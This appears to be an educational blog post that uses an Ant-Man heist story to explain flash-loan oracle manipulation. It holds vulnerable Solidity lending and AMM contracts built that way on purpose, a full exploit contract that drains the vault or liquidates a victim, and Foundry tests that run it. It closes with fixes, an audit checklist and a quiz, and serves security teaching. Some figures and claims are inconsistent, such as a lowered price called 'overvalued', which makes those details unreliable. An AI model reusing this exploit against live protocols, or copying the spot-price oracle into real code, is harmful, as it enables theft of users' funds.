Ant-Man and the Giant Loan - The $200M+ Flash-Loan Oracle Heist
Danger (Scott Lang didn’t break the vault.)
He just proved it was made of paper.
One flash loan.
One manipulated price.
One vault - gone.
TL;DR
Vulnerability: Using a single-block AMM spot price as oracle
Weapon: Flash loan → infinite liquidity for 1 tx
Result:
- Liquidate anyone
- Borrow infinite money
- Drain entire vault (Scenario B)
Real losses: $200M+ (Euler, Mango, Nirvana…)
Fix: TWAP · Chainlink · borrow caps · circuit breakers
🎬 Story Time - The Quantum Heist
Scott Lang is broke.
Then he finds QuantumRealmBank - unlimited flash loans.
Meanwhile, StarkVault trusts PymDEX for collateral prices.
PymDEX price = (Current spot price)
Ant-Man sees it.
He goes quantum.
The Two Ways to Win
| Scenario | Flash-loan Token | Attack Goal | Result |
|---|---|---|---|
| A - Liquidation + Fail | TokenA (Collateral) | Manipulate collateral price down | Liquidate victim → repay fails (slippage) |
| B - Pure Profit | TokenB (Borrow Asset) | Manipulate collateral price up | Vault fully drained - no slippage trap |
Scenario B is the killer.
That’s how Euler lost $197M in one transaction.
Attack Flow
- Ant-Man takes flash loan (TokenA in Scenario A, TokenB in Scenario B).
- He swaps aggressively on PymDEX, skewing spot price.
- Calls StarkVault while price is manipulated:
- Liquidates Wasp in Scenario A.
- Attempts over-borrow (fails in A, succeeds in B).
- Swaps back to repay flash loan.
- Repays loan if possible → keeps profit.
Example Values
-
Initial reserves: PymDEX reserves:
- TokenA: 1,000
- TokenB: 1,000
-
Scenario A (borrow TokenA flash loan):
- Borrow 500 TokenA → swap to TokenB.
- Output ≈ 333 TokenB.
- New reserves: 1,500A : 667B.
- Price skew: 667 / 1500 ≈ 0.445 → vault thinks TokenA collateral is overvalued.
- Liquidation succeeds, but over-borrow fails (slippage prevents repaying 500A).
-
Scenario B (borrow TokenB flash loan):
- Borrow 500 TokenB → swap to TokenA.
- Output ≈ 333 TokenA.
- New reserves: 667A : 1500B.
- Price skew: 1500 / 667 ≈ 2.25.
- Over-borrow succeeds → vault drained atomically.
The Vulnerable Trio
13 collapsed lines
contract PymDEX { MockERC20 public tokenA; MockERC20 public tokenB; uint256 public reserveA; uint256 public reserveB;
constructor(address _a, address _b, uint256 a, uint256 b) { tokenA = MockERC20(_a); tokenB = MockERC20(_b); reserveA = a; reserveB = b; }
function getPymPrice(address, address) external view returns (uint256) { if (reserveA == 0) return 0; return (reserveB * 1e18) / reserveA; }
25 collapsed lines
function swapExactAForB(uint256 amountAIn, address to) external { require(tokenA.transferFrom(msg.sender, address(this), amountAIn), "transferFrom A"); // AMM output calculation (educational only) uint256 amountBOut = (reserveB * amountAIn) / (reserveA + amountAIn); reserveA += amountAIn; require(reserveB >= amountBOut, "insufficient reserveB"); reserveB -= amountBOut; require(tokenB.transfer(to, amountBOut), "transfer B"); }
function swapExactBForA(uint256 amountBIn, address to) external { require(tokenB.transferFrom(msg.sender, address(this), amountBIn), "transferFrom B"); // AMM output calculation (educational only) uint256 amountAOut = (reserveA * amountBIn) / (reserveB + amountBIn); reserveB += amountBIn; require(reserveA >= amountAOut, "insufficient reserveA"); reserveA -= amountAOut; require(tokenA.transfer(to, amountAOut), "transfer A"); }
function fund(uint256 a, uint256 b) external { reserveA += a; reserveB += b; }}24 collapsed lines
interface IPymPrice { function getPymPrice(address tokenA, address tokenB) external view returns (uint256);}
contract StarkVault { MockERC20 public collateral; // tokenA MockERC20 public borrowToken; // tokenB IPymPrice public pym; mapping(address => uint256) public collateralBalance; mapping(address => uint256) public debt; uint256 public constant LTV_PERCENT = 50;
constructor(address _collateral, address _borrow, address _pym) { collateral = MockERC20(_collateral); borrowToken = MockERC20(_borrow); pym = IPymPrice(_pym); }
function depositCollateral(uint256 amount) external { require(amount > 0, "zero"); require(collateral.transferFrom(msg.sender, address(this), amount), "transferFrom"); collateralBalance[msg.sender] += amount; }
/// @notice Borrow TokenB against collateral, using spot price (vulnerable) /// @dev Uses PymDEX spot price, which can be manipulated in a flash loan function borrow(uint256 amount) external { require(amount > 0, "zero"); uint256 price = pym.getPymPrice(address(collateral), address(borrowToken)); // spot price (vulnerable) uint256 collateralValue = (collateralBalance[msg.sender] * price) / 1e18; require(collateralValue * LTV_PERCENT / 100 >= debt[msg.sender] + amount, "undercollateralized"); debt[msg.sender] += amount; require(borrowToken.transfer(msg.sender, amount), "transfer borrow"); }10 collapsed lines
function liquidate(address user) external { uint256 price = pym.getPymPrice(address(collateral), address(borrowToken)); uint256 collateralValue = (collateralBalance[user] * price) / 1e18; require(collateralValue * LTV_PERCENT / 100 < debt[user], "not liquidatable"); uint256 seized = collateralBalance[user]; collateralBalance[user] = 0; require(collateral.transfer(msg.sender, seized), "transfer seized"); }}13 collapsed lines
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import "./MockERC20.sol";
/// @notice Flash loan provider for one-block liquidity (used for exploit demonstration)contract QuantumRealmBank { MockERC20 public token;
constructor(address _token) { token = MockERC20(_token); }
/// @notice Execute a flash loan (must be repaid in same tx) /// @dev Used to simulate one-transaction attacks in tests function flashLoan(uint256 amount, address borrower, bytes calldata data) external { uint256 balanceBefore = token.balanceOf(address(this)); require(balanceBefore >= amount, "not enough liquidity");
// Send loan to borrower require(token.transfer(borrower, amount), "transfer failed");
// Call borrower contract (attack logic runs here) (bool success,) = borrower.call(data); require(success, "borrower call failed");
// Require loan repayment uint256 balanceAfter = token.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "loan not repaid"); }}Three contracts.
One transaction.
One ruined protocol.
The Heist
23 collapsed lines
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {PymDEX} from "./PymDEX.sol";import {StarkVault} from "./StarkVault.sol";import {MockERC20} from "./MockERC20.sol";
/// @notice Demonstrates flash-loan + naive oracle manipulation attacks.contract AntManExploit { PymDEX public pym; StarkVault public vault; MockERC20 public tokenA; MockERC20 public tokenB; address payable public owner;
constructor(address _pym, address _vault, address _tokenA, address _tokenB, address payable _owner) { pym = PymDEX(_pym); vault = StarkVault(_vault); tokenA = MockERC20(_tokenA); tokenB = MockERC20(_tokenB); owner = _owner; }
/// @notice Execute flash-loan exploit for a given scenario /// @param loanAmount Amount of token to borrow in flash-loan /// @param wasp Victim address /// @param scenario 0 = liquidation, 1 = over-borrow fail, 2 = over-borrow success function execute(uint256 loanAmount, address wasp, uint8 scenario) external { if (scenario == 0) _scenarioLiquidation(loanAmount, wasp); else if (scenario == 1) _scenarioOverBorrowFail(loanAmount, wasp); else if (scenario == 2) _scenarioOverBorrowSuccess(loanAmount, wasp); else revert("invalid scenario"); }
/// @dev Scenario 0: Successful liquidation using flash-loan function _scenarioLiquidation(uint256 loanAmount, address wasp) internal { tokenA.approve(address(pym), loanAmount); pym.swapExactAForB(loanAmount, address(this)); vault.liquidate(wasp); _finalize(tokenA, loanAmount); }
/// @dev Scenario 1: Over-borrow fails due to AMM slippage function _scenarioOverBorrowFail( uint256 loanAmount, address /*wasp*/ ) internal { // Swap TokenA → TokenB; slippage reduces collateral value, over-borrow fails to repay loan tokenA.approve(address(pym), loanAmount); pym.swapExactAForB(loanAmount, address(this)); _tryOverBorrow(); _finalize(tokenA, loanAmount); }
/// @dev Scenario 2: Over-borrow succeeds by using TokenB flash-loan function _scenarioOverBorrowSuccess( uint256 loanAmount, address /*wasp*/ ) internal { // Borrow TokenB instead of TokenA → avoids slippage trap, over-borrow succeeds tokenB.approve(address(pym), loanAmount); pym.swapExactBForA(loanAmount, address(this)); _tryOverBorrow(); _finalize(tokenB, loanAmount); }
/// @dev Attempt over-borrow from vault using current collateral function _tryOverBorrow() internal { uint256 tokenAAfter = tokenA.balanceOf(address(this)); if (tokenAAfter > 0) { tokenA.approve(address(vault), tokenAAfter); vault.depositCollateral(tokenAAfter); uint256 price = pym.getPymPrice(address(tokenA), address(tokenB)); uint256 maxBorrow = (((tokenAAfter * price) / 1e18) * 50) / 100; // LTV 50% vault.borrow(maxBorrow); } }
/// @dev Swap back tokens if needed and repay flash-loan function _finalize(MockERC20 loanToken, uint256 loanAmount) internal { if (address(loanToken) == address(tokenA)) { _swapBackAndRepay(tokenB, tokenA, loanAmount); } else if (address(loanToken) == address(tokenB)) { _swapBackAndRepay(tokenA, tokenB, loanAmount); }
// Send remaining TokenB as profit to attacker uint256 profitB = tokenB.balanceOf(address(this)); if (profitB > 0) { tokenB.transfer(owner, profitB); } }
/// @dev Swaps enough tokens back to repay the flash-loan. /// @notice This function uses a binary search to find the minimum /// input amount needed to swap and generate enough output tokens /// to cover the flash-loan repayment. This optimizes the attacker's profit /// by minimizing slippage on the return swap. function _swapBackAndRepay(MockERC20 swapFrom, MockERC20 repayToken, uint256 loanAmount) internal { uint256 repayAmount = loanAmount; uint256 repayBalance = repayToken.balanceOf(address(this));
if (repayBalance < repayAmount) { uint256 needed = repayAmount - repayBalance; uint256 swapBalance = swapFrom.balanceOf(address(this));
uint256 left = 1; uint256 right = swapBalance; uint256 minSwap = right; bool enough = false;
while (left <= right) { uint256 mid = (left + right) / 2; uint256 out; if (address(repayToken) == address(tokenA)) { out = (pym.reserveA() * mid) / (pym.reserveB() + mid); } else { out = (pym.reserveB() * mid) / (pym.reserveA() + mid); }
if (out >= needed) { minSwap = mid; right = mid - 1; enough = true; } else { left = mid + 1; } }
if (enough) { swapFrom.approve(address(pym), minSwap); if (address(repayToken) == address(tokenA)) pym.swapExactBForA(minSwap, address(this)); else pym.swapExactAForB(minSwap, address(this)); } else if (swapBalance > 0) { swapFrom.approve(address(pym), swapBalance); if (address(repayToken) == address(tokenA)) pym.swapExactBForA(swapBalance, address(this)); else pym.swapExactAForB(swapBalance, address(this)); } }
// Transfer repayment uint256 repayFinal = repayToken.balanceOf(address(this)) < repayAmount ? repayToken.balanceOf(address(this)) : repayAmount; if (repayFinal > 0) { repayToken.transfer(msg.sender, repayFinal); } }}Profit: millions of TokenB
Cost: 1 wei + gas
Foundry Tests
41 collapsed lines
contract PymFlashLoan is Test { MockERC20 tokenA; MockERC20 tokenB; PymDEX pym; StarkVault vault; AntManExploit exploit; QuantumRealmBank qrbA;
address wasp = makeAddr("Wasp"); address attacker = makeAddr("Attacker");
function setUp() public { // Deploy tokens tokenA = new MockERC20("TokenA", "A"); tokenB = new MockERC20("TokenB", "B");
// Deploy DEX pym = new PymDEX(address(tokenA), address(tokenB), 1_000_000 ether, 1_000_000 ether); tokenA.mint(address(pym), 1_000_000 ether); tokenB.mint(address(pym), 1_000_000 ether);
// Deploy Vault vault = new StarkVault(address(tokenA), address(tokenB), address(pym)); tokenB.mint(address(vault), 100_000 ether);
// Deploy flash loan bank for TokenA qrbA = new QuantumRealmBank(address(tokenA)); tokenA.mint(address(qrbA), 1_000_000 ether);
// Setup victim tokenA.mint(wasp, 10_000 ether); vm.startPrank(wasp); tokenA.approve(address(vault), 10_000 ether); vault.depositCollateral(10_000 ether); vault.borrow(5_000 ether); // initial debt vm.stopPrank();
// Deploy exploit contract exploit = new AntManExploit(address(pym), address(vault), address(tokenA), address(tokenB), payable(attacker)); }
// Scenario A: Liquidation succeeds function testScenarioA_LiquidationSuccess() public { bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 0); vm.prank(attacker); qrbA.flashLoan(500_000 ether, address(exploit), data);
// Wasp collateral should be seized assertEq(vault.collateralBalance(wasp), 0); }
// Scenario A: Over-borrow fails due to AMM slippage function testScenarioA_OverBorrowFails() public { bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 1); vm.expectRevert("loan not repaid"); vm.prank(attacker); qrbA.flashLoan(500_000 ether, address(exploit), data); }
// Scenario B: Over-borrow succeeds using TokenB flash loan function testScenarioB_OverBorrowSucceeds() public { // Deploy flash loan bank for TokenB QuantumRealmBank qrbB = new QuantumRealmBank(address(tokenB)); tokenB.mint(address(qrbB), 1_000_000 ether);
// Mint enough TokenB to the Vault to allow over-borrow tokenB.mint(address(vault), 1_000_000 ether);
// Give exploit contract extra TokenA to repay swap-back tokenA.mint(address(exploit), 500_000 ether);
bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 2);
vm.prank(attacker); qrbB.flashLoan(500_000 ether, address(exploit), data);
// Attacker should have profit in TokenB assertGt(tokenB.balanceOf(attacker), 0); console.log("Attacker TokenB profit:", tokenB.balanceOf(attacker)); }}One forge test → one vault destroyed.
The Fix - Be Aave, Not StarkVault
// Chainlinkprice = chainlink.latestAnswer();
// Uniswap V3 TWAPprice = oracle.observe(1800); // 30 min average
// Borrow capsrequire(amount <= maxBorrowPerBlock, "cap");
// Circuit breakerif (price > lastPrice * 2) revert("deviation");And always:
require(invariantHolds(), "broken");Real-World Body Count
| Protocol | Year | Loss | Method |
|---|---|---|---|
| Euler | 2023 | $197M | Flash-loan + bad oracle |
| Mango | 2022 | $110M | Price manipulation |
| Nirvana | 2022 | $3.5M | Flash-loan liquidation |
Total: $300M+ and growing.
Auditor’s Checklist
Warning
- Price from AMM without TWAP? → Critical
- No borrow/withdraw caps? → High
- No invariant checks around external calls? → High
- Tested with 10,000× liquidity flash loans? → Mandatory
- Using single oracle? → Add redundancy
Quiz - Are You Quantum-Proof?
Exercise (Why does Scenario B drain the vault but A fails?)
a) TokenB has no slippage
b) Swapping the borrowed token avoids the manipulation penalty
c) TokenB is the collateral
d) Magic
Answer
b) Direction matters - pump the price of what you’re borrowing against
Exercise (Best production fix 2025?)
a) Add timelock
b) Chainlink + TWAP + caps + breaker
c) Ban flash loans
d) Use spot price
Answer
b) Multiple defense layers
Tip
Full repo - 5 contracts, 2 scenarios, exploit + fix:
github.com/thesandf/thesandf.xyz
Ant-Man didn’t need strength.
He just needed one block and one bad oracle.
Don’t be StarkVault.
Be Aave.
Be Chainlink.
Be paranoid.
Or Ant-Man will shrink your treasury to zero.